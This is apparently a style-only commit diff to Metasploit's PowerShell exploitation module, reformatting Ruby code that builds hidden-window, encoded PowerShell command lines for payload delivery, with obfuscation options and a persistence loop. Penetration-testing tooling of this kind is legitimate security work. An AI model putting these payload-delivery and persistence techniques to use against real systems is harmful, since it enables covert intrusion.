Cheat/Rubycop all the things

Author: Meatballs1

lib/msf/core/exploit/powershell.rb

@@ -3,7 +3,6 @@
 
 module Msf
 module Exploit::Powershell
-
   PowershellScript = Rex::Exploitation::Powershell::Script
 
   def initialize(info = {})
@@ -16,12 +15,7 @@ def initialize(info = {})
         OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
         OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
         OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
-        OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', [
-          'net',
-          'reflection',
-          'old',
-          'msil'
-        ]]),
+        OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w(net reflection old msil)]),
       ], self.class)
   end
 
@@ -36,7 +30,7 @@ def encode_script(script_in)
     # Build script object
     psh = PowershellScript.new(script_in)
     # Invoke enabled modifiers
-    datastore.select {|k,v| k =~ /^Powershell::(strip|sub)/ and v}.keys.map do |k|
+    datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
       mod_method = k.split('::').last.intern
       psh.send(mod_method)
     end
@@ -56,7 +50,7 @@ def compress_script(script_in, eof = nil)
     # Build script object
     psh = PowershellScript.new(script_in)
     # Invoke enabled modifiers
-    datastore.select {|k,v| k =~ /^Powershell::(strip|sub)/ and v}.keys.map do |k|
+    datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
       mod_method = k.split('::').last.intern
       psh.send(mod_method)
     end
@@ -75,14 +69,14 @@ def compress_script(script_in, eof = nil)
   #
   # @return [String] Powershell command line with arguments
   def generate_psh_command_line(opts)
-    if opts[:path] and (opts[:path][-1,1] != "\\")
-      opts[:path] << "\\"
+    if opts[:path] and (opts[:path][-1, 1] != '\\')
+      opts[:path] << '\\'
     end
 
     if opts[:no_full_stop]
-      binary = "powershell"
+      binary = 'powershell'
     else
-      binary = "powershell.exe"
+      binary = 'powershell.exe'
     end
 
     args = generate_psh_args(opts)
@@ -122,13 +116,13 @@ def generate_psh_command_line(opts)
   #
   # @return [String] Powershell command arguments
   def generate_psh_args(opts)
-    return "" unless opts
+    return '' unless opts
 
-    unless opts.has_key? :shorten
+    unless opts.key? :shorten
       opts[:shorten] = (datastore['Powershell::method'] != 'old')
     end
 
-    arg_string = " "
+    arg_string = ' '
     opts.each_pair do |arg, value|
       case arg
       when :encodedcommand
@@ -140,25 +134,25 @@ def generate_psh_args(opts)
       when :file
         arg_string << "-File #{value} " if value
       when :noexit
-        arg_string << "-NoExit " if value
+        arg_string << '-NoExit ' if value
       when :nologo
-        arg_string << "-NoLogo " if value
+        arg_string << '-NoLogo ' if value
       when :noninteractive
-        arg_string << "-NonInteractive " if value
+        arg_string << '-NonInteractive ' if value
       when :mta
-        arg_string << "-Mta " if value
+        arg_string << '-Mta ' if value
       when :outputformat
         arg_string << "-OutputFormat #{value} " if value
       when :sta
-        arg_string << "-Sta " if value
+        arg_string << '-Sta ' if value
       when :noprofile
-        arg_string << "-NoProfile " if value
+        arg_string << '-NoProfile ' if value
       when :windowstyle
         arg_string << "-WindowStyle #{value} " if  value
       end
     end
 
-    #Command must be last (unless from stdin - etc)
+    # Command must be last (unless from stdin - etc)
     if opts[:command]
       arg_string << "-Command #{opts[:command]}"
     end
@@ -182,10 +176,10 @@ def generate_psh_args(opts)
       arg_string.gsub!('-WindowStyle ', '-w ')
     end
 
-    #Strip off first space character
+    # Strip off first space character
     arg_string = arg_string[1..-1]
-    #Remove final space character
-    arg_string = arg_string[0..-2] if (arg_string[-1] == " ")
+    # Remove final space character
+    arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
 
     arg_string
   end
@@ -202,14 +196,14 @@ def generate_psh_args(opts)
   # @return [String] Wrapped powershell code
   def run_hidden_psh(ps_code, payload_arch, encoded)
     arg_opts = {
-        :noprofile => true,
-        :windowstyle => 'hidden',
+      noprofile: true,
+      windowstyle: 'hidden',
     }
 
     if encoded
       arg_opts[:encodedcommand] = ps_code
     else
-      arg_opts[:command] = ps_code.gsub("'","''")
+      arg_opts[:command] = ps_code.gsub("'", "''")
     end
 
     # Old technique fails if powershell exits..
@@ -224,7 +218,7 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
 $s.UseShellExecute=$false
 $p=[System.Diagnostics.Process]::Start($s)
 EOS
-    process_start_info.gsub!("\n",';')
+    process_start_info.gsub!("\n", ';')
 
     archictecure_detection = <<EOS
 if([IntPtr]::Size -eq 4){
@@ -234,7 +228,7 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
 };
 EOS
 
-    archictecure_detection.gsub!("\n","")
+    archictecure_detection.gsub!("\n", '')
 
     archictecure_detection + process_start_info
   end
@@ -264,17 +258,17 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
   #   argument in single quotes unless :encode_final_payload
   #
   # @return [String] Powershell command line with payload
-  def cmd_psh_payload(pay, payload_arch, opts={})
+  def cmd_psh_payload(pay, payload_arch, opts = {})
     opts[:persist] ||= datastore['Powershell::persist']
     opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
     opts[:method] ||= datastore['Powershell::method']
 
     if opts[:encode_inner_payload] && opts[:encode_final_payload]
-      raise RuntimeError, ":encode_inner_payload and :encode_final_payload are incompatible options"
+      fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
     end
 
     if opts[:no_equals] && !opts[:encode_final_payload]
-      raise RuntimeError, ":no_equals requires :encode_final_payload option to be used"
+      fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
     end
 
     psh_payload = case opts[:method]
@@ -285,15 +279,15 @@ def cmd_psh_payload(pay, payload_arch, opts={})
     when 'old'
       Msf::Util::EXE.to_win32pe_psh(framework, pay)
     when 'msil'
-      raise RuntimeError, "MSIL Powershell method no longer exists"
+      fail RuntimeError, 'MSIL Powershell method no longer exists'
     else
-      raise RuntimeError, "No Powershell method specified"
+      fail RuntimeError, 'No Powershell method specified'
     end
 
     # Run our payload in a while loop
     if opts[:persist]
-      fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
-      sleep_time = rand(5)+5
+      fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
+      sleep_time = rand(5) + 5
       vprint_status("Sleep time set to #{sleep_time} seconds")
       psh_payload  = "function #{fun_name}{#{psh_payload}};"
       psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
@@ -334,8 +328,8 @@ def cmd_psh_payload(pay, payload_arch, opts={})
     final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
 
     command_args = {
-      :noprofile => true,
-      :windowstyle => 'hidden'
+      noprofile: true,
+      windowstyle: 'hidden'
     }.merge(opts)
 
     if opts[:encode_final_payload]
@@ -345,14 +339,14 @@ def cmd_psh_payload(pay, payload_arch, opts={})
       # payload contains none.
       if opts[:no_equals]
         while command_args[:encodedcommand].include? '='
-          final_payload << " "
+          final_payload << ' '
           command_args[:encodedcommand] = encode_script(final_payload)
         end
       end
     else
       if opts[:use_single_quotes]
         # Escape Single Quotes
-        final_payload.gsub!("'","''")
+        final_payload.gsub!("'", "''")
         # Wrap command in quotes
         final_payload = "'#{final_payload}'"
       end
@@ -370,20 +364,17 @@ def cmd_psh_payload(pay, payload_arch, opts={})
 
     vprint_status("Powershell command length: #{command.length}")
     if command.length > 8191
-      raise RuntimeError, "Powershell command length is greater than the command line maximum (8192 characters)"
+      fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
     end
 
     command
   end
 
-
   #
   # Useful method cache
   #
   module PshMethods
     include Rex::Exploitation::Powershell::PshMethods
   end
-
 end
 end
-

lib/rex/exploitation/powershell.rb

@@ -9,58 +9,54 @@
 require 'rex/exploitation/powershell/psh_methods'
 
 module Rex
-module Exploitation
-
-module Powershell
-
-  #
-  # Reads script into a PowershellScript
-  #
-  # @param script_path [String] Path to the Script File
-  #
-  # @return [Script] Powershell Script object
-  def self.read_script(script_path)
-    Rex::Exploitation::Powershell::Script.new(script_path)
-  end
-
-  #
-  # Insert substitutions into the powershell script
-  # If script is a path to a file then read the file
-  # otherwise treat it as the contents of a file
-  #
-  # @param script [String] Script file or path to script
-  # @param subs [Array] Substitutions to insert
-  #
-  # @return [String] Modified script file
-  def self.make_subs(script, subs)
-    if ::File.file?(script)
-      script = ::File.read(script)
+  module Exploitation
+    module Powershell
+      #
+      # Reads script into a PowershellScript
+      #
+      # @param script_path [String] Path to the Script File
+      #
+      # @return [Script] Powershell Script object
+      def self.read_script(script_path)
+        Rex::Exploitation::Powershell::Script.new(script_path)
+      end
+
+      #
+      # Insert substitutions into the powershell script
+      # If script is a path to a file then read the file
+      # otherwise treat it as the contents of a file
+      #
+      # @param script [String] Script file or path to script
+      # @param subs [Array] Substitutions to insert
+      #
+      # @return [String] Modified script file
+      def self.make_subs(script, subs)
+        if ::File.file?(script)
+          script = ::File.read(script)
+        end
+
+        subs.each do |set|
+          script.gsub!(set[0], set[1])
+        end
+
+        script
+      end
+
+      #
+      # Return an array of substitutions for use in make_subs
+      #
+      # @param subs [String] A ; seperated list of substitutions
+      #
+      # @return [Array] An array of substitutions
+      def self.process_subs(subs)
+        return [] if subs.nil? or subs.empty?
+        new_subs = []
+        subs.split(';').each do |set|
+          new_subs << set.split(',', 2)
+        end
+
+        new_subs
+      end
     end
-
-    subs.each do |set|
-      script.gsub!(set[0],set[1])
-    end
-
-    script
   end
-
-  #
-  # Return an array of substitutions for use in make_subs
-  #
-  # @param subs [String] A ; seperated list of substitutions
-  #
-  # @return [Array] An array of substitutions
-  def self.process_subs(subs)
-    return [] if subs.nil? or subs.empty?
-    new_subs = []
-    subs.split(';').each do |set|
-      new_subs << set.split(',', 2)
-    end
-
-    new_subs
-  end
-
 end
-end
-end
-